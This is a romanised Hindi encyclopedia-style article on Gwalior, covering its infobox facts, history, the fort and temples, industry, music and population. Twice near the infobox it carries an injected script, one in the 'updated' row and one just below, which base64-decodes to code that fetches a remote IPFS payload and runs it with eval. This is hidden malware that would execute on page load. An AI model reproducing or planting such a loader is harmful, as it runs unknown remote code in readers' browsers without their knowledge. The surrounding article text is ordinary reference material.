ग्वालियर
gvaliyar
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| vivaran | gvaliyar bharat ke madhy pradesh prant ka ek pramukh shahar hai. ye shahar aur isaka qila uttar bharat ke prachin shaharoan ka kendr rahe haian. |
| rajy | madhyapradesh |
| zila | gvaliyar zila |
| bhaugolik sthiti | uttar- 26.14°, poorv- 78.10° |
| marg sthiti | dilli se rashtriy rajamarg 2 se palaval, kosikalaan, hodal aur mathura hote hue agara pahuancha ja sakata hai jahaan rashtriy rajamarg 3 gvaliyar se ju da hua hai. |
| kab jaean | aktoobar se march |
| kaise pahuanchean | bas, rel, taiksi, |
| havaee adda | gvaliyar havaee adda |
| relave steshan | gvaliyar relave steshan |
| bas adda | gvaliyar bas adda |
| yatayat | taanga, aauto riksha, taimpo, bas, mini bas |
| kya dekhean | gvaliyar paryatan |
| kahaan thaharean | hotal, dharmashala, atithi grah |
| kya khayean | poha, gajak, namakin, dilli vale ka paraantha, shere panjab bhojanalay ka khana |
| kya kharidean | saboodana, sa diyaan, kap de, plastik, grasari aur teksatail ka saman, jvelari, hastashilp |
| es.ti.di. kod | 0751 |
| chitr:Map-icon.gif | googal manachitr, gvaliyar havaee adda |
| adyatan | 15:59, 15 navanbar 2010 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
gvaliyar bharat ke madhy pradesh prant ka ek pramukh shahar hai. ye shahar aur isaka qila uttar bharat ke prachin shaharoan ka kendr rahe haian. gvaliyar apane puratan ऎtihasik sanbandhoan, darshaniy sthaloan aur ek b de saanskritik, audyogik aur rajanitik keandr ke roop mean jana jata hai. is shahar ko usaka nam us aitihasik pattharoan se bane qile ke karan diya jata hai, jo ek alag-thalag, sapat shikhar vali 3 kilomitar lanbi tatha 90 mitar ooanchi paha di par bana hai. is nagar ka ullekh gop parvat, gopachal durg, gopagiri, gopadiri ke roop mean hua hai. in sabhi namoan ka matalab 'gvaloan ki paha di' hota hai. thumb|250px|left|gvaliyar ka ek drishy prachin nam gopadri ya gopagiri hai. janashruti hai ki rajapoot naresh soorajasen ne gvaliyar nam ke sadhu ke kahane se yah nagar basaya tha. gvaliyar shahar ke is nam ke pichhe bhi ek itihas chhipa hai; athavian shatabdi mean ek raja hue soorajasen, ek bar ve ek ajnat bimari se grast ho mrityushaiya par the, tab 'gvalipa' namak sant ne unhean thik kar jivanadan diya. unhian ke samman mean is shahar ki nianv padi aur ise nam diya gvaliyar. ane vali shatabdiyoan ke sath yah shahar b de-b de rajavansho ki rajasthali bana.
- mahabharat[1] mean gopalakaksh namak sthan par bhim ki vijay ka ullekh hai. sanbhavatah yah gopadri hi hai.
itihas aur bhoogol
yah shahar sadiyoan se rajapootoan ki prachin rajadhani raha hai, chahe ve pratihar rahe hoan ya kachhavaha ya tomar. is shahar mean inake dvara chhode gaye prachin chihn smarakoan, qiloan, mahaloan ke roop mean mil jaeange. sahej kar rakhe ge atit ke bhavy smriti chihnoan ne is shahar ko paryatan ki drishti se mahattvapoorn banata hai. yah nagar samanti riyasat gvaliyar ka keandr tha. jis par 18vian sadi ke uttarardh mean marathoan ke siandhiya vansh ka shasan tha. ranoji siandhiya dvara 1745 mean is vansh ki buniyad rakhi gee aur mahadaji (1761-94) ke shasanakal mean yah apane charamotkarsh par pahuancha.
unake adhin kshetr mean samany hiandustan ke mukhy hisse tatha madhy bharat ke kee hisse shamil the aur unake adhikari jodhapur tatha jayapur sahit anek svatantr rajapoot shasakoan se bhi nazarana vasool karate the. daulatarav ke shasanakal mean aangrezoan ne apani upasthiti darj karavaee aur 1840 ke dashak mean is kshetr mean poora prabhav qayam kiya. 1857 ke vidroh ke dauran gvaliyar ke siandhiya shasak aangrezoan ke prati vafadar bane rahe, kiantu unaki sena ne vidrohiyoan ka sath diya.
pathari ilake mean sthit yah kshetr saank (shankh) nadi dvara kee jagahoan par pratichchhed hai aur ghane jangal se achchhadit hai. nagar tin bhinn bastiyoan se bana hai. purana gvaliyar, jo parvatiy qile ke uttar mean hai aur jahaan madhyayugin shaury ke kee jivant smarak maujood haian. qile ke dakshin mean sthit lashkar 1810 mean daulatarav siandhiya ki fauji chhavani bana tha. jay vilas peles, gvaliyar|thumb|250px|left har sadi ke sath is shahar ke itihas ko naye ayam mile. mahanh yoddhaoan, rajaoan, kaviyoan sangitakaroan tatha santoan ne is rajadhani ko deshavyapi pahachan dene mean apana-apana yogadan diya. aj gvaliyar ek adhunik shahar hai aur ek jana-mana audyogik kendr hai.
khanij sanpada
poorv mean murar, jo aangrezoan ki chhavani tha, samoocha ilaka us gvaliyar prastar-pranali se bana hai, jisamean nichale par se uttaramukhi dhalan abhrakayukt choona-patthar, sphatik, balua tatha sleti patthar tatha oopari murar shrriankhala mean slet, choone, chikane phitedar sooryakaant (jaispar) tatha shon (harnaston) patthar ki pattiyoan se bani hai. shahar ke asapas milane vale khanijoan mean maianganij, lauh ayask, kaanch ret (glas saiand), chikani mitti tatha shora haian.
krishi
asapas ka kshetr shushk parnapati varaspatiyoan se achchhadit hai tatha kheti nadi ghati mean hoti hai. jahaan mitti gaharaee tak paee jati hai. gvaliyar ke asapas ke jangaloan mean vibhinn kismoan ke janavar aur pakshi pae jate haian. jinamean chital, hiran, bhoore titar, chaha tatha kala hiran shamil hai. gvaliyar ki jalavayu manasooni hai aur vahaan katibandhiy atirek lie sookhapan rahata hai. varshakal sal dar sal badalata rahata hai aur barish keval varsha rritu mean hi hoti hai. varsha ki anishchitata tatha pani ki killat ke karan yahaan talaboan aur baandhoan mean pani sanchay karana zaroori ho jata hai. gvaliyar shahar mean koee 12 talab haian aur unake alava anek chattanoan ko katakar banae ge jalashay aur kuane haian. jinase shahar ko nirantar pani ki apoorti hoti rahati hai. bharat mean paha di qiloan ka patan aksar pani ki kami ke karan hi hua. is tathy ki roshani mean gvaliyar ke qile ki yah visheshata anokhi hai, isi paksh ne is qile ko ajey bana diya tha.
vyaparik aur audyogik keandr
thumb|250px|sas bahoo ka mandir, gvaliyar gvaliyar ek ऎsa mahattvapoorn vyaparik aur audyogik keandr hai, jahaan se krishi utpad, vastr, imarati patthar tatha lauh ayask bahar bheje jate haian. lagabhag ek-chauthaee abadi kamagar hai. jisamean se 91 pratishat purush tatha 9 pratishat striyaan haian. inamean se do-tihaee log naukari aur prashasanik kshetr mean tatha ek-chauthaee gair ghareloo nirman, vyapar, vanijy, nirman, parivahan tatha sanchar mean lage hue haian. nagar ke pramukh udyogoan mean joot, sigaret, kapas tatha rॅyan ke vastr, plastik, kaanch, machis, ata-maida, chini ke alava patthar tarashana, mitti ke bartan banana, cham da pakana tatha usake khilaune banana shamil hai. gvaliyar ianjiniyariang vark sanyatr mean rel-ianjanoan tatha dibboan ki marammat ke alava aspatal-upakaran, baandhoan ke lie ispat ke dvar sahit kee vividh upakaran banae jate haian. gvaliyar mean galiche, dari, h aaujari, biskut, anaj aur tel ki miloan, ara miloan tatha loha dhalane jaise chhote paimane ke bhi kee udyog haian.
adhunik gvaliyar
gvaliyar virasat ka ilaka azadi ke bad 1948 mean svatantr bharat ke madhy bharat rajy mean shamil kar liya gaya. yah nagar 1956 mean ne madhy pradesh rajy mean shamil hone tak madhy bharat ki shitakalin rajadhani raha. prashasanik drishti se yah ab bhi ek mahattvapoorn keandr hai.
parivahan
- s dak tatha rel margoan se bhalibhaanti ju de hue is shahar se mahattvapoorn rajy tatha rashtriy rajamarg gujarate haian. yahaan siandhiyakalin chhoti lain (nairo gej) relamarg ka mukhyalay hai aur yah madhy relave ke dilli-muanbee pramukh marg par sthit hai.
- madhy bharat ka mahattvapoorn nagar gvaliyar rashtriy rajamarg par sthit hai. gvaliyar mean ek relave jankshan hai.
thumb|250px|left|soory mandir, gvaliyar
vishvavidyalay aur sangit
- gvaliyar mean jivaji vishvavidyalay (1964) aur isase sanbanddh kala, vijnan, vanijy, chikitsa tatha krishi mahavidyalay haian aur nagar mean saksharata ki dar kafi ooanchi hai. gvaliyar mean sangit ki yashasvi paranpara rahi hai aur usaki apani khas shaili rahi hai. jo gvaliyar 'gharana' nam se prasiddh hai.
darshaniy sthal
nagar ke bhitar aur asapas ke darshaniy sthaloan mean gvaliyar ka qila, ath talab, chhah mahal, chhah mandir, ek masjid tatha any imaratean haian. teli ka mandir (11vian sadi), gujari mahal (lagabhag 1500 ee.), sas-bahoo ka mandir (1093) hindoo sthapaty kala ke utkrisht udaharan haian. qile ki divar ke niche chattan se tarashi huee 18 mitar ooanchi pratimaean (15vian sadi), mahal tatha lashkar ke smarak, abul phajal allami ka maqabara, phool bag tatha jayavilas mahal samriddh kala evan sanskriti ke any aitihasik udaharan haian.
gvaliyar ka durg
- gvaliyar ka durg bahut prachin hai aur isaka praranbhik itihas timirachchhann hai. hoon maharajadhiraj toraman ke putr mihirakul ke shasanakal ke 15 vean varsh (525 ee.) ka ek shilalekh gvaliyar durg se prapt hua tha jisamean matrichet namak vyakti dvara gopadri ya gop nam ki paha di (jis par durg sthit hai) par ek soory-mandir banavae jane ka ullekh hai. isase spasht hai ki is paha di ka prachin nam gopadri (roopaantar gopachal, gopagiri) hai tatha is par kisi n kisi prakar ki basti guptakal mean bhi thi.
- itihas se soochit hota hai ki gvaliyar mean 875 ee. mean kannauj ke gurjar pratiharoan ka rajy tha. musalamanoan ke akraman ke samay bhi yahaan kachhavaha, pratihar adi rajapoot vansh rajy karate the.
- 1232 ee. mean dilli ke gulam vansh ke sultan iltutamish ne gvaliyar ke qile ko hastagat kiya aur rajapoot raniyoan ne jauhar ki pratha ke anusar agni mean koodakar pran tyag die.
- 1399 se 1516 ee. tak yah qila tomar-nareshoan ke adhin raha. jinamean pramukh manasianh tha. isaki rani goojari ya mriganaini ke vishay mean anek kivadantiyaan prachalit haian. qile ka goojari mahal mriganayani ka hi amit smarak hai.
- 1528 ee. mean babar ne yah qila jita. mugaloan ne isaka upayog ek sudridh karagar ke roop mean kiya. isamean rajanitik bandi rakhe jate the.
- aurangazeb ne apane bhaee aur gaddi ke hakadar murad aur tatpashchath dara ke putr sulemanashikoh ko kaid karake isi qile mean band rakha.
thumb|250px|left|gvaliyar ka qila
- mugaloan ke apakarsh ke samay jab maharashtr ke pramukh saradar siandhiya ka dilli-agara ke pradeshoan mean adhipaty sthapit hua to usi samay gvaliyar bhi usake hathoan mean a gaya.
- is prakar vartaman kal tak siandhiya ke rajy ki rajadhani gvaliyar mean rahi. durg ke smarakoan mean gvaliyar ka lanba itihas pratibianbit hota hai.
- yahaan ka sarv prachin smarak matrichet ka banavaya hua soory mandir hi tha. jisaka koee chihn ab nahian hai. kiantu jisaki sthiti sooraj talab ke nikat rahi hogi.
- doosara smarak chaturbhuj vishnu mandir hai jo paha di ke pas se kata gaya hai. isamean ek chaukor devalay ke oopar ek shikhar hai aur madhyakalin shaili mean bana hua sabhamandal. is mandir ko 875 ee. mean all namak vyakti ne gurjar pratihar naresh ramadev ke samay mean banavaya tha.
- isake pashchath 1093 ee. mean bana hua sas-bahoo ka mandir gvaliyar durg ka ek vishesh ऎtihasik smarak hai. ise kachhavaha naresh mahipal ne nirmit kiya tha. yah bhi vishnu ka mandir hai. kaha jata hai ki pahale isaka shikhar sau phut ooancha tha. ib isaka garbhagrih tatha shikhar donoan hi sanrachanaean vinasht ho gee haian, kiantu isaki kala ka vaibhav, sabhamandal ki chhat ki adabhut naqqashi aur mandir ke bahari aur bhitari bhagoan par nirmit vishad moortikari se prakat hota hai. isi prakar mandir ke dvaroan ke siradaloan ki sookshm tatha prabhavotpadak moortikari bhi param prashansaniy hai.
thumb|teli ka mandir, gvaliyar
- dvar ki patthar ki chaukhatoan par ganga-yamuna ki moortiyaan aur pushpalankaran khachit haian. jo guptakalin paranpara hai. sabhamandal ki chhat par bhi kirtimukhoan ke sahit pushpalankaranoan ka aankan b di vidagdhata aur suandarata ke sath kiya gaya hai. sas-bahoo mandir se kuchh door par durg ka sarvochch smarak teli ka mandir sthit hai. isaki ooanchaee sau phut se bhi adhik hai. isake shikhar ki visheshata isaki dravi d shaili hai. isaka nirman kal 8vian shati lekar 10vian shati ee. tak mana jata hai. is mandir ke oopar ki naqqashi sas-bahoo ke mandir ki naqqashi ki apeksha sadi kiantu adhik prabhavashali hai.
[[chitr:Tansen.jpg|thumb|250px|left|tanasen ka maqabara, gvaliyar]]
- kalakram mean is mandir ke pashchath durg ki paha di mean charoan or utkirn jain tirthakaroan ki vishal nagn-moortiyaan ati haian. jinamean ek to 57 phut ooanchi hai. ye sab 15vian shati mean bani thi. 15vian shati ke tomar rajaoan ke jamane ke any vikhyat smarak bhi is durg mean haian. jinamean man mandir aur goojari-mahal mukhy haian.
- manamandir ki khyati ka karan isaki shuddh bharatiy ya hindoo vastushaili hai. yah 300 phut ooanchi paha di ki choti par bana hua hai. is vistrit bhavan par chhah bartul chhatariyaan bani haian. 1528 ee. mean jab babar ne gvaliyar ka qila dekha tha tab in chhatariyoan par sunahari kam tha. jisase ye door se soory ke prakash mean chamakati thi. is bhavan ke poorvabhimukh bhag se bih d paha di pradesh ki manoram jhaanki milati hai. isake aandar manasianh ka prasad hai. jisaki vastu shaili sarvatha bharatiy hai. is shaili ka prabhav akabar ke fatehapur sikari ke bhavanoan mean dekha ja sakata hai.
[[chitr:Tansen-Tomb.jpg|thumb|250px|left|muslim sant mohammad gaus ka maqabara, gvaliyar]]
- goojari-mahal dumanjila bhavan hai. jisaka bahari bhag sada prakoshthoan ki pankti hai. durg ke any bhavanoan mean karan-mandir, vikram-mandir (tomarian dvara nirmit) tatha mugaloan ke prasad - jahaangiri mahal, shahajahaanni - mahal adi haian. durg ke bahar aurangazeb ke samay ki ek masjid aur akabar ke guru mu. gaus ka maqabara sthit hai.
- pas hi akabar ke navaratnoan mean se ek tatha bharat ke prasiddh sangitajn tanasen ki samadhi hai.
- yahaan se ek mil ki doori par rani lakshmibaee ki prasiddh samadhi hai. jo bharat ke pratham svatantrata sangram mean aangrezoan se viratapoorvak l date hue mari gee thi.
janasankhya
gvaliyar ki janasankhya (2001) ki janaganana ke anusar nagar nigam kshetr ki 8,26,919 aur zile ki kul 16,29,821 hai.
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tika tippani aur sandarbh
- ↑ mahabharat sabhaparv 30,3
bahari k diyaan
sanbandhit lekh
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